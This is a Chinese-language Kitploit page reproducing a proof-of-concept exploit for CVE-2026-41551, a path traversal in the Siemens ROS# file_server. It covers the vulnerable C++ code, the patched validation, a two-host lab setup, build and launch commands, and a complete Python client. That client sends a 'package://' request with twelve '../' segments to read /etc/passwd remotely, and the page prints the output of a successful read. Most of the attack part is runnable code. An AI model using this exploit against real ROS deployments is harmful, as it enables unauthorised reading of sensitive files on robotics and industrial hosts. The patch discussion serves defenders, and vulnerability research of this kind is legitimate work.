Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41551 — 针对 CVE-2026-41551 的概念验证漏洞利用,该漏洞是 Siemens ROS# file_server 中的路径遍历漏洞,演示了通过构造的 package:// 请求进行远程文件读取。 | Kitploit
工具/GitHubGitHub/selecthch/cve-2026-41551
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubselecthch/cve-2026-41551

CVE-2026-41551

针对 CVE-2026-41551 的概念验证漏洞利用,该漏洞是 Siemens ROS# file_server 中的路径遍历漏洞,演示了通过构造的 package:// 请求进行远程文件读取。

查看仓库
1522天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-41551 复现

漏洞:Siemens ROS# file_server / file_server2 服务相对路径遍历 CVSS v3.1:9.1(AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) 影响版本:ros-sharp 所有 < V2.2.2;修复版本:V2.2.2(新增 validate_path) 结论:该漏洞可跨主机利用,并非只能本地复现。以下为「攻击者 153 → 受害者 152」的远程复现步骤。


0. 漏洞原理(ros-sharp 2.2.1, file_server.cpp)

get_file_callback 直接将请求路径拼接到包共享目录,未做穿越校验:

root@kitploit:~
std::string address   = request->name.substr(10);          // 去掉 "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // 用户可控,含 "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // 穿越读取任意文件

PoC 请求 package://file_server2/<../×12>etc/passwd,从包 share 目录穿出到根后读取受害者本机文件。

修复代码(ros-sharp 2.2.2)

新增 validate_path:先做路径穿越检查,再做扩展名白名单,最后用 std::filesystem::canonical 确认未逃出包目录;save_file 默认禁用。

root@kitploit:~
bool has_traversal(const std::string& path) {           // 禁止 ".." 与 "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // 必须仍在包目录内
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. 环境信息

网络拓扑(同一 ROS_DOMAIN_ID,DDS 跨主机发现):

root@kitploit:~
攻击者 192.168.171.153                        受害者 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server 节点          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | 读取本机 /etc/passwd      |
|                           | <-------------  | (2) 返回文件内容 2930 bytes|
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / 组播 239.255.0.x), ROS_DOMAIN_ID=0

2. 前置条件(重启后默认满足)

  • 两台主机均已安装 ROS2 Humble(/opt/ros/humble)与 colcon。
  • 漏洞源码包已置于 ~/ros2_ws/src/file_server2(ros-sharp 2.2.1,共 13 文件)。
  • 关键:受害者节点启动【不要】设置 ROS_LOCALHOST_ONLY=1,否则仅回环可访问、远程无法复现。

3. 复现步骤

3.1 受害者端(192.168.171.152):编译并启动节点,网络监听

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 编译漏洞包(已编译可省略,重编无害)
colcon build --packages-select file_server2

# 启动节点(重启安全:先清理旧进程再启动)
# ~/start_fs.sh 内容见附录 A
bash ~/start_fs.sh
sleep 2

ros2 node list            # 应见本机 /file_server

3.2 攻击者端(192.168.171.153):编译 client 包以获得 srv 类型

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# 同样需要 file_server2 包,供客户端导入 GetBinaryFile 类型
colcon build --packages-select file_server2

3.3 攻击者端:跨主机发现受害者服务

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # 应发现跨主机的 /file_server(位于 152)
ros2 service list | grep file_server
# 应见:/file_server/get_file

3.4 攻击者端:运行 PoC 远程读取受害者 /etc/passwd

root@kitploit:~
python3 ~/poc.py

4. 复现结果

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

攻击者在 153 成功读取【受害者 152 本机】的 /etc/passwd。


附录 A:~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# 进程名被内核截断为 file_server2_no,按命令行精确清理旧实例
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# 关键:不要设置 ROS_LOCALHOST_ONLY,否则仅回环可访问
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

附录 B:~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 个 "../" 足以从包 share 目录穿出到根,再访问 etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

参考资料

  • Siemens Security Advisory SSA-357982(ROS# file_server 目录穿越)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases:V2.2.1(受影响)/ V2.2.2(修复)
  • CWE-23:Relative Path Traversal;ROS 2 文档:ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS 发现
下载工具
角色主机 IP系统ROS说明
受害者192.168.171.152Ubuntu 22.04Humble运行 file_server 节点,被读取文件位于本机
攻击者192.168.171.153Ubuntu 22.04Humble同网段,发起 PoC 调用受害者服务